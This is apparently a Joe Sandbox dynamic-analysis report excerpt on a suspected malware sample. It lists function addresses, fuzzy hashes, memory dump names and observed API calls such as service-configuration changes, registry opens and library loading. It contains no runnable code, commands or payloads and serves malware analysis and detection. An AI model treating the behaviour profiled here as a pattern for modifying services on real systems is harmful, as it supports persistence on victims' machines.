Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd932c30ef14fb11b22e484e630f3da246b4146111ec270e82ec0ae1b584453
Instruction ID: b584d5b9a78069a024a68a3b1cd11da54b4a7ec15c6488c013e8c617aa0928fa
Opcode Fuzzy Hash: 2cd932c30ef14fb11b22e484e630f3da246b4146111ec270e82ec0ae1b584453
Instruction Fuzzy Hash: EF0181FB28E115BDB342C5923F289FB6B6DE5C6730335C83BF50AC9441D244096E5531

Function 05440DB5 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec919a827d31836fa6058c3a76b5e235008158c99bab74431299604af32ed54
Instruction ID: da5014b85ba1fc24d9cd7c643effe17f7b3a27402451858fd74e3ac9b7269c8a
Opcode Fuzzy Hash: 4ec919a827d31836fa6058c3a76b5e235008158c99bab74431299604af32ed54
Instruction Fuzzy Hash: 4FF049FF28E025BD7241D5963B2C9FB676EE1C5730330C82BF50AC9401E2844A6F5831

Function 05440D45 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b90850c3319383d826bf7ef6c1a7fe5d18bd8a41c008b47856644b1ed510802
Instruction ID: a911596151142d81570912024286e7fa25ccb58bf2628dae651516a80853dd7f
Opcode Fuzzy Hash: 2b90850c3319383d826bf7ef6c1a7fe5d18bd8a41c008b47856644b1ed510802
Instruction Fuzzy Hash: CBF052EB2CE014AEF242D4113E28AF327AEE6D17203B5C063F149CF182D1494A7F4570

Function 05440DD0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c546d50fe31cab52db0c4ab03a5526853749c0e411f38ba28db3a200f393583d
Instruction ID: 0940859502a85450caf715d6ffd00b16b99af446b4bf7960ac28116699581afa
Opcode Fuzzy Hash: c546d50fe31cab52db0c4ab03a5526853749c0e411f38ba28db3a200f393583d
Instruction Fuzzy Hash: 21E08CEB1CE029AC7291C0423B28EF7161EE0D57303B5C427F60ECD500E1494A7E5830

Function 05440DD7 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1455461dc66c3e2e10c01058fe2f7488ff52df251754d5efc2881547b46d8545
Instruction ID: bfdbc27533e7c2652c2167f373ab2dd9b584b77a9784e80e2bfee780df0c3576
Opcode Fuzzy Hash: 1455461dc66c3e2e10c01058fe2f7488ff52df251754d5efc2881547b46d8545
Instruction Fuzzy Hash: 51E046EB29D025ACB251D0423B18EFB171ED2E27307B5C467B54AC8541E5894A7A5430

Analysis Process: 1SC0KN6KHBFFEX9LB9FR.exePID: 7204, Parent PID: 6900COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	33.3%
Signature Coverage:	8.3%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Executed Functions

Function 053115D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053118C8

Strings

Px8\, xrefs: 0531162A
Px8\, xrefs: 053115FB

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ChangeConfigService
String ID: Px8\$Px8\
API String ID: 3849694230-3686982382
Opcode ID: 1f208a65cebd599b8db8742e108768def2feeb1a0c52671f92999bff12e5589d
Instruction ID: 78a94772ea945ad576d0e76648fea77bcb6def8a55059995751ea4a47e8158ed
Opcode Fuzzy Hash: 1f208a65cebd599b8db8742e108768def2feeb1a0c52671f92999bff12e5589d
Instruction Fuzzy Hash: C9C14871D106599FDB19CFB8C8857EEBBB2FB45310F148229ED55E7280DBB48881CB85

Function 003EB98C Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc4192780316668a082b24be89089d8e00e77803d0701825fbb330cf89ff0b4
Instruction ID: 6cd0ae2d7ea8131c6794a54db7c98cc647b66d34d93b5bd7bc73ef34603c8a71
Opcode Fuzzy Hash: 7cc4192780316668a082b24be89089d8e00e77803d0701825fbb330cf89ff0b4
Instruction Fuzzy Hash: 83014E729041A187C7079E26DD5177BE6A1EB93351F295266E3D18F3E7D3788D418300

Function 053115C4 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053118C8

Strings

Px8\, xrefs: 0531162A
Px8\, xrefs: 053115FB

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ChangeConfigService
String ID: Px8\$Px8\
API String ID: 3849694230-3686982382
Opcode ID: 0048972ab11ea05fa09971fc75640d7907e07a7e49b8c18583bdcefb00e00d99
Instruction ID: 69399c637199e65b2bef7c15727da0f6e51c04370f715a7842291dad1b33a459
Opcode Fuzzy Hash: 0048972ab11ea05fa09971fc75640d7907e07a7e49b8c18583bdcefb00e00d99
Instruction Fuzzy Hash: 65C14971D106599FDB19CFB8C8857EEBBB2FB49310F148229ED55E7280DBB48881CB85

Function 0056DF2C Relevance: 4.6, APIs: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0056DF78
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0056DF9F
GetNativeSystemInfo.KERNELBASE(?), ref: 0056DFF6

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e50330711ecb742993cc3b39abbd6b46a4f9c6bc36ad5c03e6300df67c0b0bfc
Instruction ID: 0b2d9490600f4d3884e6f73e9aa4f54f2d4411129957801727e7571b1f0afa14
Opcode Fuzzy Hash: e50330711ecb742993cc3b39abbd6b46a4f9c6bc36ad5c03e6300df67c0b0bfc
Instruction Fuzzy Hash: 0231047550424EDEEF21DF50C849BEE7BA8FF05300F44082AE982C6A40E7765DA4DF5A

Function 00560A6F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00560A6F

Strings

X?}, xrefs: 00560AF6

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: LibraryLoad
String ID: X?}
API String ID: 1029625771-1216989219
Opcode ID: fa2be6d0066837e03b42af440d2454e37b9a494177f8c47df65827cfe1ae250b
Instruction ID: b67293fbc921fbb2602f865222fd741cd6739637823e90f61f1092f9bff806be
Opcode Fuzzy Hash: fa2be6d0066837e03b42af440d2454e37b9a494177f8c47df65827cfe1ae250b
Instruction Fuzzy Hash: 8241F5B650C300AFD304AF19D88566AFBF9FF98760F228C2DE5C593650E77055808B67

Function 05310D42 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05310DCD

Strings

Px8\, xrefs: 05310D6A

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ManagerOpen
String ID: Px8\
API String ID: 1889721586-3320399986
Opcode ID: 9965ac2c1b51751f2e0e27bde06264ca3803a4fc769ec1a6a5d402743b29211f
Instruction ID: b6feffd7380a9d4d55494e2e16088ac018b571457b5b3540be275d0d6ef1dd51
Opcode Fuzzy Hash: 9965ac2c1b51751f2e0e27bde06264ca3803a4fc769ec1a6a5d402743b29211f
Instruction Fuzzy Hash: FF2134B6C012099FCB14CFA9D884ADEFBF5FB88710F14811AE918AB244C774A540CFA4

Function 05310D48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05310DCD

Strings

Px8\, xrefs: 05310D6A

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ManagerOpen
String ID: Px8\
API String ID: 1889721586-3320399986
Opcode ID: 965dc87d730aa772d0ff0e7fbe8895151cb44620c07aacce31b25e61ccb9b0ca
Instruction ID: 393c93b9301596835fc82d26b5271cbaef9730ba3debe713dca857412d6b65f6
Opcode Fuzzy Hash: 965dc87d730aa772d0ff0e7fbe8895151cb44620c07aacce31b25e61ccb9b0ca
Instruction Fuzzy Hash: 112135B6C012099FCB14CFA9D884BDEFBF4FB88710F14811AD818AB244C774A540CFA4

Function 005651BB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0056521F

Strings

C, xrefs: 0056528E

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: b29900709898a90c39d13a955f81ec52efa5f76f510981ed9d0dcf9981191006
Instruction ID: ff2314802d48fb0dab88fb5cc8bb52c29c6f31b15c5cafd14fc47d1d9281f5fe
Opcode Fuzzy Hash: b29900709898a90c39d13a955f81ec52efa5f76f510981ed9d0dcf9981191006
Instruction Fuzzy Hash: 3701FE765887596BDB149F249CA1BFE3FD8F791731F50051AE941834C1E2A40E14C628

Function 05311510 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph
